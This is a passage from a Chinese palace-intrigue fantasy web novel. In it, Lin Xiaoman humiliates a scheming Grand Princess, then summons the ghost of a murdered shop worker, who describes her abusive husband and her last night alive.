“除非,她根本就不是真正的林小满!我们所用的生辰八字、贴身之物,若并非属于眼前这个‘林小满’,那咒术的效力自然大打折扣,甚至可能完全无效!唯有这个解释,才能说得通为何刘道长的咒术会对她毫无作用!” 方令仪闻言,猛地瞪大了眼睛,恍然大悟道: “对啊母亲!我怎么没想到!若她是个冒牌货,那一切就都说得通了!” 她越说越觉得可能,语气也变得激动起来: “林家一直对外宣称她体弱多病,自幼在江南精心将养。可您仔细瞧瞧她!那通身的气度,那手上的薄茧,哪一点像是在江南水乡被仔细呵护长大的娇小姐? 分明就是个在外历经风霜、甚至可能习武的野丫头!只不过十几年过去了,谁还记得真正的林相千金该是什么模样?随便找个年纪相仿、有几分相似的来顶替,也不是不可能!” 长公主侧过头,一个眼神扫向身旁侍立的心腹嬷嬷。那嬷嬷立刻会意,躬身低语道: “长公主放心,老奴明白,这就安排最得力的人手,连夜去查那林小满的底细,尤其是江南那边,定要查个水落石出!” 嬷嬷刚要转身去安排,方才被派去后院打探消息的那个丫鬟却去而复返,连滚带爬地冲了进来,脸色惨白如纸,声音因为极度惊恐而尖利变调: “不好了!长公主!郡主!不好了——!” 方令仪正心烦意乱,见状厉声斥道: “放肆!嚎什么丧!一点规矩都没有!” 那丫鬟扑通一声跪倒在地,浑身抖得如同风中落叶,结结巴巴地哭喊道: “郡主息怒!长公主!真、真的不好了!那、那个女子……她、她把刘道长打得口吐鲜血,毫无还手之力!现在……现在她正抓着刘道长的衣领,像拖死狗一样,径直朝着正院这边来了!!” “什么?!” 长公主闻言,霍然起身,保养得宜的脸上第一次出现了难以掩饰的惊骇之色,手掌“啪”地一声重重拍在身旁的黄花梨木桌上,震得桌上的茶具嗡嗡作响! 长公主那一巴掌拍在桌上的余音还未散去,方令仪惊惶的表情也才刚刚凝固在脸上,甚至来不及做出任何应对, 未见其人先闻其声,一道清亮的女声清晰地传入了正堂: “哎呀呀,长公主府的待客之道,可真是让臣女……大开眼界啊。” 话音未落,只见林小满的身影已出现在门口。 她从容得甚至称得上优雅,与这紧张到极点的氛围格格不入。 而她手中,正不紧不慢地拖拽着一个人,正是那先前还不可一世的刘道长! 此刻的刘道长道袍破损,满脸血污,气息奄奄,如同一滩烂泥般被林小满轻而易举地拖行着。 林小满目光扫过脸色铁青的长公主和吓得花容失色的方令仪,唇角勾起一抹似笑非笑的弧度,继续用那气死人不偿命的语调说道: 第138章 我是替你清理门户呢 “深更半夜的,府上竟还请了位‘高人’在后院开坛做法,这般‘热情’,真是令人受宠若惊。臣女一时好奇,便忍不住上前‘请教’了一番,谁知这位道长……呵呵,学艺不精,自己不小心摔成了这般模样。” 她说着,还颇为“惋惜”地摇了摇头,随手将如同死狗般的刘道长往地中央一扔。 “臣女想着,总不能让他污了长公主府的地界,只好亲自给您送回来了。长公主殿下,您不会怪臣女……多管闲事吧?” 林小满仿佛没看见长公主母女那难看的脸色,自顾自地又接了下去,语气那叫一个真诚恳切: “哎呀,其实臣女也是一片好心,都是为了长公主和郡主您的安危着想呢。” 她眨了眨无辜的大眼睛,“您想啊,这深更半夜,一个不知来历的野道士,在您府邸后院鬼鬼祟祟地行那等阴邪之术,万一冲撞了贵府的风水,或是惊扰了二位,那可如何是好?” 她轻轻拍了拍手,仿佛掸去并不存在的灰尘。 “恰好呢,臣女在家时跟着乡下师傅学过那么一点点驱邪避凶的皮毛,总不能眼睁睁看着这贼人潜在府中,危及二位贵人的安全吧?这才忍不住出手,替您清理了一下门户。” “你——!”方令仪何曾受过这等明目张胆的羞辱和颠倒黑白,气得脸色涨红,猛地就要上前理论。 长公主却死死攥住了她的手腕,力道之大让方令仪吃痛地闷哼一声,到了嘴边的话硬生生咽了回去。 只见长公主脸上瞬间堆起了无懈可击的惊讶与后怕,甚至还带着几分感激的笑意,语气温和得仿佛刚才那个拍案而起的人不是她: “天哪!竟有这等事?!本宫这府邸守卫森严,竟让这等贼人混了进来,还在后院行此龌龊之事!真是……真是岂有此理!” 她快步上前,仿佛心有余悸地拍了拍胸口,看向林小满的目光充满了“真诚”的谢意: “多亏了林小姐机警,又身怀奇术,这才替本宫除了此患!否则后果真是不堪设想!本宫真是……不知该如何感谢林小姐才好!” 林小满看着长公主这炉火纯青的变脸功夫,心中冷笑,面上却也是盈盈一笑,敷衍地福了一福: “长公主殿下太客气了,举手之劳罢了,维护京畿安宁,也是臣女应尽之责。” 她目光扫过地上死狗般的刘道长,“既然贼人已然擒获,该如何处置,想必长公主自有决断。如今天色已晚,臣女不便久留,这就告退了。” 她说着,转身便要走,仿佛真的只是顺手做了一件微不足道的小事。 “林小姐且慢。”长公主的声音适时响起,依旧是那副温和得体的腔调。 林小满脚步微顿,侧身回望,脸上挂着一分疑惑: “长公主殿下还有何吩咐?” 长公主脸上维持着雍容的笑意,缓步上前,目光却似有若无地扫过地上昏迷不醒的刘道长,语气带着几分关切与探究: “林小姐今夜受惊了。本宫想着,你一个姑娘家,深夜独自回府未免不安全。不如本宫派一队护卫,亲自护送林小姐回去?也好让林相和夫人放心。” 她这话说得滴水不漏,看似关怀,实则暗藏机锋。 一是试探林小满是否真的打算就此罢休,二是想看看她是否会露出任何破绽或心虚。 更重要的是,她绝不能让林小满就这般轻易离开,至少,得摸清她下一步想做什么。 长公主心念电转,面上却丝毫不显。 眼前这林小满,看似笑语盈盈,实则手握能将长公主府掀个底朝天的把柄。 她不仅身怀诡异莫测的能耐,更深得裴昭青眼。 若此刻让她轻易离去,她转头就去了靖安王府…… 以裴昭那冷硬强势、又明显偏袒她的性子,此事定然难以善终,必会追查到底! 可若强行将她留下……长公主的目光扫过林小满那副有恃无恐的模样。 她既然敢独闯龙潭,必定留有后手,或许早已安排了人接应,或许还有什么更厉害的手段未出。 贸然动手,风险太大,万一失手,便是授人以柄,后果不堪设想。 电光火石间,长公主已权衡利弊,深知此刻绝不能撕破脸,更不能让她有机会去找裴昭。 必须先稳住她,再图后计。 于是,她脸上的笑容愈发慈和,仿佛真心为林小满考量: “林小姐这是说的哪里话,你帮了本宫这么大一个忙,本宫感激还来不及,怎会嫌麻烦?护卫即刻便点齐,定要亲眼看着林小姐安然踏入林府大门,本宫才能放心。” 林小满岂会不知她心中算计,闻言嫣然一笑,甚至还带着几分天真烂漫: “长公主殿下思虑周全,臣女感激不尽。那就有劳殿下了。” 她说着,像是忽然想起什么,略带歉然道,“瞧我,第一次登门拜访,竟是这般深夜仓促,什么礼物都没来得及准备,实在是失礼得很。” 她话锋轻轻一转,语气依旧轻快,“下次,下次臣女定当备上厚礼,正式前来拜会。届时,再与长公主和郡主……好好‘叙谈’。” 长公主脸上的笑容几乎要维持不住, “林小姐真是客气了,你能平安无事,便是给本宫最好的‘礼物’了。既然如此,那便……让护卫们这就护送林小姐回府吧。夜露深重,路上千万小心。” 她刻意加重了“小心”二字,其中的威胁意味不言而喻。 林小满仿佛完全没听出那弦外之音,依旧是那副乖巧温顺的模样,微微屈膝:“多谢长公主殿下关怀,臣女告退。” 说完,她不再多看地上死狗般的刘道长一眼,也不再看长公主母女那精彩纷呈的脸色,转身朝着府外走去。 望着林小满消失在夜色中的背影,长公主脸上的笑容瞬间消失得无影无踪,只剩下冰冷的杀意和深深的忌惮。 “母亲!难道就真的让她这么走了?!”方令仪气得跺脚,声音里充满了不甘和愤怒。 第139章 死期不会太久 长公主猛地转身,一巴掌狠狠扇在方令仪脸上,力道之大,直接让方令仪踉跄着摔倒在地。 “蠢货!还不都是你惹出来的祸事!”长公主的声音因为极致的愤怒而微微颤抖, “立刻去给本宫查!掘地三尺也要把她的真实来历给本宫查清楚!还有,派人盯紧靖安王府和林府!本宫倒要看看,她到底能翻出什么浪来!” 她目光阴鸷地看向地上昏迷的刘道长,语气森寒: “至于这个废物……处理干净点,别留下任何痕迹。” 立刻便有几名身材魁梧、面无表情的护卫应声而入,如同拖拽一件垃圾般,毫不留情地将地上昏迷不醒、血污满身的刘道长拖了下去,地面上只留下一道模糊的拖痕,很快也被悄无声息地擦拭干净。 正堂内一时间只剩下长公主母女和几个噤若寒蝉的心腹。 长公主胸膛剧烈起伏了几下,似乎才从暴怒中稍稍平复。 她看着跌坐在地上,捂着脸颊,眼中含泪又带着恐惧和委屈的方令仪,忽然长长叹了一口气。 她缓缓走上前,蹲下身,伸出手,指尖似乎想触碰女儿红肿的脸颊,但在即将碰到的瞬间又顿住了。 她的眼神复杂,里面交织着残存的怒其不争、一丝不易察觉的懊悔,以及一种近乎扭曲的控制欲。 “仪儿……”她的声音放软了些,却依旧带着一种令人不适的压迫感, “疼吗?母亲……母亲不是故意的。只是你方才太不冷静,母亲一时情急,下手重了些。” 她说着,伸手将方令仪扶了起来,动作甚至称得上轻柔,但方令仪却下意识地瑟缩了一下。 长公主仿佛没有察觉到女儿的恐惧,继续用那种混合着“慈爱”与偏执的语气说道: “母亲所做的一切,都是为了你好,你知道吗?这世上,只有母亲是真心为你谋划,为你铲除一切障碍。那林小满……她必须死,否则你永远得不到你想要的。” 她的手指轻轻拂过方令仪的发丝,“母亲爱你,胜过这世间的一切。所以,母亲绝不允许任何人伤害你,也绝不允许你脱离母亲的掌控……去做任何愚蠢的事情。你要听话,明白吗?只有听话,你才能得到最好的。” 方令仪被母亲那看似温柔实则令人窒息的话语包裹着,脸颊上火辣辣的疼痛和心底翻涌的委屈恐惧交织在一起。 她不敢挣脱母亲的手,只能低着头,声音细若蚊蚋,带着压抑的哭腔和一丝不易察觉的颤抖: “女儿……女儿明白母亲的苦心。是女儿没用,总是让母亲操心,还……还惹出这样的祸事。” 她吸了吸鼻子,努力想把眼泪憋回去,“女儿以后一定更听话,母亲让女儿做什么,女儿就做什么,绝不再自作主张了。” 她抬起泪眼朦胧的眼睛,看向长公主,那眼神里有着对母亲的畏惧,也有着长期压抑下形成的依赖和讨好: “只是母亲……那林小满,她今日如此折辱我们,难道……难道就真的拿她没办法了吗?女儿……女儿实在咽不下这口气!” 长公主听着女儿的哭诉,眼中掠过一丝冰冷的厌烦,但很快又被一种更为深沉的阴鸷所取代。 她缓缓直起身,居高临下地看着方令仪,指尖轻轻抬起女儿的下巴,迫使她看向自己。 “咽不下?仪儿,你要记住,真正能成事的人,咽不下的,是最终胜利的那口气,而非一时之快的意气。” 她松开手,转身踱步到窗边,望着外面沉沉的夜色, “本宫当然不会放过她。她今夜所为,岂止是折辱?她是在我长公主府的头顶悬了一把刀!此女不除,你我寝食难安。” 她猛地回身,“但正因如此,才更不能急!她今夜敢来,必有倚仗。她那身诡异本事从何而来?她与裴昭究竟到了何种地步?林相那个老狐狸对此又知不知情?这些,我们一概不知!” “贸然动手,若一击不中,打草惊蛇,反而会让她和她背后可能存在的势力彻底警惕,我们将再无下手良机!甚至可能被她反咬一口,万劫不复!” 长公主走到方令仪面前,“所以,现在要做的,不是叫嚣,而是蛰伏。给本宫牢牢记住这四个字——按、兵、不、动。” “我们要像最耐心的猎人,看着猎物暂时得意,放松警惕。所有的不甘、愤怒,都给本宫死死压在心底,一丝一毫都不准露出来!明日太阳升起,你我还是那个尊贵无比、温婉得体的长公主和郡主,今夜之事,从未发生。明白吗?” 方令仪被母亲眼中那毫不掩饰的杀意与冷酷震慑,下意识地点头。 长公主语气稍缓,却更显森然: “等。等我们派出去的人,把她的底细查个底朝天。乡下学过艺?哼,骗鬼的蠢话!本宫要知道她真正的师承、她的弱点、她所有在意的人和事!只有知道了这些……我们才能知道,从哪里下手,能让她最痛苦、最绝望、叫天天不应叫地地不灵!才能确保,一旦动手,必是一击毙命,让她永无翻身之日,连带着所有可能帮她的人,都万劫不复!” “届时,”长公主轻轻抚摸着方令仪依旧红肿的脸颊,动作温柔,眼神却冰冷刺骨, “母亲定会把她捆到你面前,让你亲手……出了今夜这口恶气。但现在,给我忍住了。” 方令仪看着母亲眼中那近乎疯狂的冷静和狠毒,心底的恐惧奇异地被一种强烈的期待所取代,她重重点头: “女儿明白了!女儿一切都听母亲的!” 长公主满意地笑了笑,只是那笑容里没有丝毫温度。 “很好。回去歇着吧,用冰好好敷敷脸。记住,从此刻起,忘掉今晚的狼狈,你依旧是最高贵的郡主,明白了吗?” “至于林小满……就让她再得意几天。她的死期,不在今夜,但……绝不会太远。” 第140章 杀了刘道长 …… 次日,林小满直睡到日上三竿,她才悠悠转醒,慵懒地伸了个大大的懒腰。 “小花——”她带着刚睡醒的沙哑嗓音唤了一声。 正盘腿坐在窗边小几上,抱着一碟子蜜饯吃得津津有味的小花闻声,立刻扭过头,腮帮子还鼓鼓的,笑嘻嘻道: “哟,我的大小姐,您可算醒了呀?” 林小满揉了揉眼睛,拥被坐起,嗓音慵懒:“什么时辰了?” “已经过辰时了,快接巳时了都。” 小花跳下小几,拍了拍手上的糖屑,“您这一觉睡得可真沉。” “嗯……”林小满掀被下床,赤足踩在柔软的地毯上, “我睡着这期间,府里府外可有什么事情发生?” 小花一边手脚麻利地去给她准备洗漱用具和今日要穿的衣裙,一边歪着头想了想: “大事嘛……好像没有。风平浪静的。不过小事倒还真有一件,就是关于那个刘道长的。” 林小满走到盆架前,掬起温水洗脸,闻言动作未停,只从喉间发出一个含糊的音节,示意她继续说。 “我一直潜在长公主府外的暗处盯着呢。” 小花拿起柔软的布巾递过去,语气里带着几分唏嘘和看热闹的兴奋, “该说不说,那长公主府里的人,可真真是狠心绝情的主。那刘道长被拖回去没多久,里头就传出动静,直接给乱棍打死了!然后趁着天没亮透,就用破席子一卷,当成垃圾扔到城西乱葬岗去了,利落得很。” 林小满擦干脸,神色很是平静,仿佛早有所料。 小花凑近些,压低声音道:“还好小姐您心善,提前给他喂了那假死的药丸,吊住了他最后一口气息,瞧着跟真死了一样。 等人走了,我就赶紧把他从乱葬岗里扒拉出来了,虽然只剩半条命,但总算还活着。 现在人就在咱们后院那个堆放杂物的旧柴房里躺着呢,一时半会儿醒不了。什么时候去瞧瞧?” 林小满走到屏风后,张开手臂,任由小花帮她穿上繁复的衣裙,闻言淡淡道: “再说吧,先晾他一晾。让他也好好尝尝濒死的滋味,醒来了才知道谁才是能给他生路的人。” 她系好腰带,语气随意地接着道:“今日还有别的事要办呢。” 小花正低头为她整理裙摆的褶皱,一听这话立刻抬起头,圆溜溜的眼睛眨了眨: “呀,你还记着呢!他们可不是来了么,天都没亮透就在府外候着了,恭敬得不得了。说好了辰时,结果他们卯时就到了,安安静静等着,一点不敢打扰。现在辰时都过完了,估摸着在外头站了得有一个多时辰了。” “那就让他们等着呗,”林小满不疾不徐地坐到梳妆台前,拿起玉梳,慢条斯理地梳理着长发,神色间没有丝毫意外或急切。 小花突然凑上前,眼睛亮晶晶的,带着促狭的笑意,压低声音道: “哎,小满你说啊……那位王爷,是不是对你有意思啊?” 林小满从镜子里瞥了她一眼,没好气地轻斥: “胡吣什么?再乱说,小心我把你丢回地府去。” “我才没瞎说呢!”小花撅起嘴,一副“你休想糊弄我”的表情, “你是没瞧见,还是装作没瞧见?但凡是你在的场合,那位爷的眼神就跟黏在你身上似的!那眼神,啧啧,专注得都快能掐出水来了!他要不是对你有点什么特别的心思,我小花两个字倒过来写!” 林小满放下梳子,拿起一枚珠花在发间比划, “你才见过几个人?知道什么是喜欢?不过是些场面上的客套罢了,就你爱胡思乱想,编排故事。” “我怎么不懂了!”小花不服气地叉腰, “虽说我是头一回来人间当差,可我又不是没见过情情爱爱!在地府当值那些年,奈何桥边,不肯喝孟婆汤的痴魂怨鬼见得还少吗?为了那点情爱要死要活、纠缠几世的更是大有人在!那梁山伯与祝英台,化蝶都要双飞,那白素贞,被压雷峰塔千年还不忘许仙,还有那杜丽娘,为个梦中情郎都能死而复生……” 她掰着手指头数得正欢,却被林小满打断了。 “打住打住!”林小满转过身,指尖轻轻点了一下小花的额头,哭笑不得, “你呀,看的都是些话本传奇,听的尽是些痴鬼执念。那能一样吗?并不是所有关注都是喜欢,或许只是好奇,或许另有所图,或许连他自己都未必清楚那是什么。裴昭,位高权重,心思深沉,他的举动,更不可能简单到只用‘喜欢’二字来概括。” “我们与他,眼下更多的是互利合作,各取所需,而且我看过他的面相了,他这人这辈子注定孤身,当然咯,人嘛,是可以逆天改命的,也许他真的有一天突然想清楚了,也不一定。” 小花忍不住好奇地凑近,眼睛亮晶晶地问道:“那要是他真的想通了,他的命中注定会是谁啊?不会是方令仪吧?我的天哪,他要是真娶了方令怡,那他这辈子算是完蛋了!” 林小满伸手轻轻戳了戳小花的额头,哭笑不得地说: “我发现你对别人的事情还蛮感兴趣的耶,要不你多关心关心自己?你就没发现东风的眼神也快黏到你身上来了吗?啧啧啧,哎呀——” 小花瞬间小脸涨得通红,像熟透的苹果似的,急得直跺脚: “怎么可能!我和他才没有那啥啥啥呢!我是蛇他是人,我要找也得找个帅气的蛇公子!” 林小满"切"了一声,眼含戏谑: “得了吧你,刚刚谁还在那滔滔不绝地说白娘子和许仙呢?搞不好你就是下一个花娘子哦~”说完自己先忍不住,"噗嗤"一声大笑起来。 “啊啊啊,你太坏了!”小花羞得要去捂林小满的嘴,却被林小满灵活地躲开。 两人顿时笑作一团,林小满边笑边躲,不小心绊到裙角,整个人向后仰倒在榻上;小花见状立刻扑上去挠她痒痒,两人在锦榻上滚作一团,银铃般的笑声溢满整间闺房。 第141章 你已经死了 一行四人到了京兆尹,早已得了吩咐的衙役恭敬地将他们引至后堂一处阴凉的停尸房外。 裴昭抬手止住了欲跟随入内的衙役:“在外等候,未经允许,任何人不得入内。” “是。”衙役们躬身退下。 推开门,一股阴凉之气扑面而来。房间中央的停尸台上,以白布覆盖着一具尸体,正是刘婶。 此时距离刘婶“死亡”已过了一天一夜。 按常理,在这般气温下,尸体早该散发出腐败的气味。 然而,奇异的是,室内不仅没有预料中的恶臭,反而弥漫着一股极淡、若有似无的冷冽清香。 裴昭眉头微不可察地蹙了一下。 东风也吸了吸鼻子,脸上露出些许疑惑。 林小满神色不变,只侧头看了小花一眼。 小花会意,立刻从她那个看似不起眼的斜挎布袋里摸索起来,先是掏出一支细细的、颜色深沉的蜡烛,指尖一捻,烛芯便无火自燃,散发出一种宁神静气的淡淡檀香。 她将蜡烛小心地放置在房间东南角的矮几上。 随后,林小满缓步走到停尸台前,对着台上的“尸体”微微鞠了一躬,然后将自己的宽大衣袖挽了上去,露出一截白皙纤细的手腕。 小花又从布袋里掏出一张裁剪好的黄色符纸,递给林小满。 东风看着这一切,终于忍不住好奇,开口问道,语气比在府外时随意了许多: “林小姐,这……是要用血画符?您这瓶子里装的是血吗?” 他眼尖地注意到林小满不知何时拿出了一个小巧的白瓷瓶。 林小漫轻轻“嗯”了一声作为回应。 她拔开瓶塞,将食指探入瓶中,再取出时,指尖已蘸满了殷红粘稠的液体。 东风更疑惑了,挠了挠头: “呃,林小姐,恕在下多嘴,画符不是……不是都用现取的新鲜血液吗?比如指尖血或是舌尖血?这备用的是不是……效果会打折扣?” 他想象了一下咬破指尖的痛楚,下意识咧了咧嘴。 不等林小满回答,旁边的小花终于找到了机会,猛地跳起来,“啪”地一巴掌拍在东风的背上,声音清脆: “说你是个呆子你还不信!用自己的血那多疼啊!小姐才不受那份罪呢!这是精心炮制过的黑狗血,至阳至刚,效果比人血只强不差,懂不懂啊你!” 东风被拍得一个趔趄,却恍然大悟,“哦——”了一声,憨憨地笑了起来: “原来如此!嘿嘿,还是林小姐和小花姑娘想得周到!” 裴昭在一旁静静看着,目光扫过林小满蘸着“血”的指尖和小花叉腰训人的模样,唇角似乎极轻微地向上弯了一下。 林小满屏息凝神,指尖蘸着那殷红的液体,在黄色符纸上飞速绘制起来。 她手腕一扬,符纸精准地贴在了刘婶尸身的额头上。 紧接着,她双手结印,“荡荡游魂,何处留存;三魂早将,七魄来临;虚惊怪异,失落真魂;今请山神,五道游路将军,当方土地,家宅灶君;查落真魂,收回附体,筑起精神。天门开,地门开,千里童子送魂来。吾奉太上老君急急如律令!” 声音刚落,停尸房内突然卷起一阵阴风,吹得东南角的烛火剧烈摇曳,明灭不定。 东风感觉似乎整个温度都下降了不少,他眼睁睁的看着在刘婶尸身的上方,一缕稀薄的白烟凭空冒出,那白烟越来越浓,渐渐勾勒出一个人形的轮廓。 “妈呀!鬼啊!” 东风吓得头皮发麻,一声尖叫脱口而出,几乎是本能地一个箭步窜到了小花身后,紧紧闭着眼睛,不敢多看。 就连一向沉稳的裴昭,此刻也瞳孔微缩,眉头紧紧蹙起。 他虽然知道林小满身负异术,非同一般,但亲眼见到这招魂引魄、显化形体的玄奇一幕,内心依旧受到了不小的冲击,看向林小满的眼神愈发深邃难测。 那白烟凝聚的身影逐渐清晰、凝实,最终显现出一个妇人的模样,面色惨白,眼神空洞,形态虚浮,赫然与躺在停尸台上、毫无生气的刘婶尸体长得一模一样! 那魂体面色迷茫,浑浑噩噩的。她环顾了一下四周的环境和眼前几个陌生的人,声音带着浓浓的困惑与一丝不易察觉的恐惧,向着为首的林小满发问: “你……你们是谁?这……这里是什么地方?我……我怎么会在这里?” 林小满目光平静地注视着那迷茫的魂体,“刘婶,仔细看看我。前日,在铺子里,我们见过一面,你还记得吗?” 刘婶虚幻的眉头紧紧皱起,似乎努力在混沌的记忆中搜寻。 过了好一会儿,她空洞的眼神里终于闪过一丝微弱的亮光,恍然大悟道: “您……您是林小姐?对,对!我想起来了!掌柜的说您是贵客,让我好生伺候着……林小姐,您、您找我有什么事儿?这……这又是哪里?怎么这么冷……” 她下意识地抱紧双臂,虽然魂体并无实质,却依旧做出了瑟缩的动作。 林小满没有迂回,直接切入主题,语气清晰而冷静:“刘婶,听着,你已经死了。” “什……什么?”刘婶的魂体猛地一颤,脸上写满了难以置信。 林小满指向停尸台上被白布覆盖的尸身: “你看那里。你的身体已经失去生机,全身血液被诡异的手段吸干,如今官府正在调查你的死因。我需要知道你遇害前后所知道的一切,任何细节都可能至关重要。把你记得的事情,全都说出来。” “死……死了?血被吸干了?”刘婶顺着她指的方向看去,似乎才真正“看”清了自己那毫无生气的躯体。 巨大的惊恐和绝望瞬间淹没了她,魂体剧烈地波动起来,发出凄厉又模糊的哀鸣: “不……不可能!怎么会这样?!我怎么会死了呢?我……我早上出门时还好好的啊……我死了,我的孩子怎么办?我的小宝才那么小……他不能没有娘啊!呜呜呜……” 第142章 家暴男 林小满看着刘婶魂体因极度悲恸而剧烈波动,几乎要溃散不稳,轻轻叹了口气。 她伸出那根未曾沾染“黑狗血”的食指,指尖萦绕着一层极淡的柔和白光,轻轻虚点在刘婶魂体的额心。 “静心凝神。”她低声道。 那点白光轻柔地抚过刘婶混乱的魂体。 刘婶剧烈的颤抖和哀鸣顿时减弱了许多,虽然依旧悲切,但魂体明显稳定了下来,不再有随时消散的危险。 小花见状,立刻上前一步。她不像林小满那样以法力安抚,便凑近了些,对着刘婶的魂体,用她特带着几分天真却真诚的语气劝慰道: “哎,刘婶子,你先别光顾着哭呀!你想想,你现在最放心不下的是你的小宝,对不对?那你更得赶紧把害你的坏蛋想起来告诉我们呀!” 她眨着圆溜溜的眼睛,努力让自己的话听起来更有说服力: “只有抓住了那个天杀的坏蛋,给你报了仇,你才能安心地去投胎转世,对不对?而且,你早点说出来,官府破了案,说不定还能给你家些抚恤银钱,也好让你家小宝以后的日子有点依靠,总好过让你白白死了,还让凶手逍遥法外,继续害人吧?” 刘婶的魂体听着小花实在又恳切的话语,哀泣声渐渐低了下去。 她抬起模糊的泪眼,再次仔细看向面前的四人。 那位林小姐自不必说,气度非凡。旁边两位一直沉默的公子,虽未开口,但通身的贵气与威严,尤其是那位身着墨色常服、面容冷峻的男子,一看便知绝非寻常人物。 昨日掌柜的对林小姐那毕恭毕敬的模样她还记得,能劳动这样的人物来查她的案子,或许……或许真的能抓住凶手,为她报仇,也能为她的孩子挣得一线生机。 为了小宝! 这个念头如同强心剂,让刘婶虚弱的魂体都凝实了几分。 她止住悲声,看向林小满,眼神里充满了哀求与决绝: “林小姐,我愿意!我愿意把我知道的都告诉您!求求您,一定要帮我抓住那个杀千刀的凶手!若是可以……日后若有机会,也求您看在今日的情分上,稍稍照看一下我那苦命的小宝……” 林小满迎上她恳切的目光,郑重地点了点头: “好,我答应你。你慢慢说,仔细想,不要遗漏任何细节。” 得到承诺,刘婶仿佛了却了一桩最大的心事,魂体也平静了许多。她深吸一口气,开始娓娓道来: “我……我娘家姓刘,父亲是镇上的屠夫。我娘去得早,我是跟着祖母长大的。十六岁那年,父亲把我许给了隔壁村做木匠的王庆。他那时看着很是老实本分,我对他也……挺满意的。半年后,我们就成了亲。” “可没想到,成亲之后,不知是我俩谁的问题,一直……一直怀不上孩子。公婆的脸色就越来越难看,话里话外都是埋怨,骂我是不会下蛋的母鸡……那十年,日子过得真是煎熬。好在……好在王庆他一开始还护着我,劝我说孩子不急,慢慢来。” “就这样熬了快十年,公婆先后去世了。许是没了压力,就在他们去世后的第二年,我、我竟然怀上了!” “我们俩都高兴坏了,王庆那段时间对我也格外体贴。” “可……好景不长。我怀胎七个多月时,有一日王庆在外面喝了酒回来,醉醺醺的。我劝他少喝些,对身体不好,也怕他冲撞了孩子……没想到,就这一句话,不知怎么就戳到了他的痛处!” “他、他像是突然变了个人,对我破口大骂,说我看不起他,说他憋屈了这么多年……我们吵了起来,那是我嫁给他这么多年第一次跟他红脸……然后、然后他就动了手,一把将我推倒在地……” “我当场就见了红……肚子疼得撕心裂肺……后来……孩子早产了,差点没保住……我也去了半条命……” “事后,他跪在我床前,哭得不成样子,说自己猪油蒙了心,后悔得恨不得去死……求我原谅他,看在孩子的份上……我、我见他哭得真心,又想着孩子不能没有爹,心一软,就……就原谅他了。” 可家暴这种事情只有零次和无数次,那次之后,刘婶本以为他会改变,可没想到却是更加的变本加厉,只要一有不顺心的地方就会打她骂她。 尤其是近年来他竟然还染上了赌博的恶习,不说拿银子回来补贴家,甚至将家里的银子全都拿出去赌博输了,刘婶也是因为这个原因才会出来做工,更是将孩子托付给了自己的祖母。 可家暴这种事情,有了第一次,便有无数次。自那次之后,刘婶本以为王庆会痛改前非,却没料到等待她的是变本加厉的折磨。 只要他在外头稍有不如意,或是喝醉了酒,回家便对刘婶非打即骂。 更雪上加霜的是,近一两年,王庆竟还染上了赌博的恶习。 莫说拿钱回来补贴家用,他甚至将家里仅存的一点积蓄都偷出去输了个精光。 刘婶正是为了维持生计,才不得不抛下幼子,出来到铺子里做工,将小宝托付给了年迈的祖母照料。 “所以是那个王庆杀的你?!”东风听到这里,忍不住插嘴,脸上带着恍然大悟的愤慨。 小花立刻回过头,狠狠瞪了他一眼,压低声音斥道: “闭嘴!听刘婶说!” 东风被瞪得缩了缩脖子,讪讪地傻笑一下,赶紧对着刘婶的魂体拱手作揖: “呃……对不住,对不住,您继续,您继续……” 刘婶的魂体似乎因这打断又波动了一下,才继续用那飘忽的声音说道: “不……我不知道是不是他……但前日下午,他确实来找过我了。” “他抱着小宝来的,说……说小宝感染了风寒,病得厉害,急需银子看大夫抓药。” 刘婶的声音里带着苦涩和怀疑,“且不说我根本不信他的这套说辞,他以前就常用各种理由骗钱去赌,而且我那时身上也确实没有多余的银子给他。” 第143章 两个王庆? “可奇怪的是……”刘婶的魂体露出困惑的神情,“那次他听我说没钱,既没像往常那样骂我‘丧门星’,也没动手打我。他只是……只是抱着小宝,深深地看了我一眼,然后就转身走了。” “只是……在他离开铺子前,又回头朝我笑了笑。” 刘婶的声音里带上了一丝恐惧, “那笑容……说不出的古怪,让我心里头发毛,总觉得很不对劲。当时掌柜的就在店里,我也不好追出去细问。 虽然小宝在他手里让我担心,可……可那毕竟是他唯一的亲骨肉啊,虎毒还不食子呢,我想着他总不至于真的伤害小宝……我便盘算着,等过两日铺子里休息,我就赶紧回去看看小宝到底怎么样了……” 说到这里,刘婶的魂体再次剧烈地颤抖起来,悲声呜咽: “可我万万没想到……这一别……竟是永诀!我再也……再也见不到我的小宝了!呜呜呜……” 东风越听越是糊涂,眉头拧成了疙瘩。 起初他笃定是刘婶的相公王庆为财害命,可听着刘婶的叙述,反而觉得迷雾重重。 他忍不住再次开口,语气带着急切和困惑: “刘婶,那……那伤害你的人到底是谁?和你相公到底有没有关系啊?你这说的,把我给听懵了,你是最后一次见到小宝,那你是最后一次见到王庆吗?。” 刘婶的魂体低垂着头,声音愈发飘忽不确定:“我……我不知道……我不知道和他有没有关系……” 她努力回忆着:“那晚……铺子打烊后,我们几个做工的就一起在后院厢房歇下了。半夜里……我也不知道具体是什么时辰,感觉肚子有些不太舒服,就起来想去……去茅房。” 她顿了顿,似乎觉得在贵人面前说这个有些失礼,声音更低了些。 “我刚一打开房门……就看见王庆!他竟然直挺挺地站在门口黑暗里!我当时魂都快吓飞了!” “我、我不知道他到底是怎么进来的!我们铺子的后院晚上都是落了锁的,他根本进不来才对!我生怕惊动了屋里其他人,赶紧把他拉开,慌慌张张地拽着他往院子角落的茅房那边走,想着找个僻静地方问他。” “我刚一回头,想问他怎么会在这里,是怎么进来的……” 刘婶的声音充满了恐惧, “可、可还没来得及回头看清楚,我就只感觉后脑勺上有什么东西重重地砸了一下!眼前一黑……就、就什么都不知道了……” 刘婶有些羞愧地看了一眼众人,魂体微微缩了缩:“后、后面的事情……我就真的不知道了……” 东风听完,瞬间感到一阵无语,甚至有些泄气。 他原本以为林小满神通广大,连鬼魂都能召来,指认凶手岂不是轻而易举? 可没想到刘婶说了这许多,关键的行凶过程竟全然不知,只提供了一个王庆莫名出现的线索,这案子反而更扑朔迷离了。 裴昭忽然开口,声音低沉而肯定:“凶手是王庆的可能性,很小。” 几人闻言,皆是一怔,疑惑的目光瞬间聚焦在他身上。 林小满微微挑眉,问道:“王爷为何如此断定?” “我昨夜去见过王庆了。”裴昭语气平淡。 东风眼中的疑惑更甚,脱口而出:“王爷?您什么时候去见的王庆?属下怎么一点都不知道?” 裴昭瞥了他一眼,语气里带着一丝不易察觉的嫌弃: 